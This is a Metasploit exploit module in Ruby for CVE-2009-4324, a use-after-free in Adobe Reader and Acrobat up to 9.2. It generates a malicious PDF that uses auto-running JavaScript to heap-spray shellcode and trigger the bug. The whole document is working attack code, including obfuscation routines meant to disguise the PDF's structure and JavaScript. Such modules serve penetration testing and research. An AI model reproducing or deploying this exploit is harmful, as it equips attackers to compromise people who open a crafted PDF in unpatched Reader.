Adobe – ‘Doc.media.newPlayer’ Use-After-Free (Metasploit) (2)
## # $Id: adobe_media_newplayer.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability', 'Description' => %q{ This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat Professional versions up to and including 9.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # Found in the wild # Metasploit version by: 'hdm', 'pusscat', 'jduck' ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2009-4324' ], [ 'BID', '37331' ], [ 'OSVDB', '60980' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # test results (on Windows XP SP3) # reader 6.0.1 - vulnerable / doesn't work # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - vulnerable / doesn't work # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.1 - works # reader 8.1.2 - untested # reader 8.1.3 - untested # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 9.0.0 - untested # reader 9.1.0 - works # reader 9.2 - works (no debugger, no DEP) [ 'Adobe Reader Windows English (JS Heap Spray)', { 'Size' => (0x10000/2), 'Ret' => 0x0c0c0c0c, } ], [ 'Adobe Reader Windows German (JS Heap Spray)', { 'Size' => (0x10000/2), 'Ret' => 0x0a0a0a0a, } ], ], 'DisclosureDate' => 'Dec 14 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize variables # len = 72 rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') vtbuf = [target.ret].pack('V') * 4 vtbuf << rand_text_alpha(len - vtbuf.length) vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1') retstring = Rex::Text.to_unescape(vtbuf) # The printd strings are 72 bytes (??) script = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} = unescape("#{nops}"); var #{rand3} = unescape("#{retstring}"); while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2}; #{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length); memory=new Array(); for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; } util.printd("#{rand4}", new Date()); util.printd("#{rand5}", new Date()); try {this.media.newPlayer(null);} catch(e) {} util.printd(#{rand3}, new Date()); | # Create the pdf pdf = make_pdf(script) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(js) xref = [] eol = "\x0d\x0a" endobj = "endobj" << eol pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol xref << pdf.length pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj xref << pdf.length pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj xref << pdf.length pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end |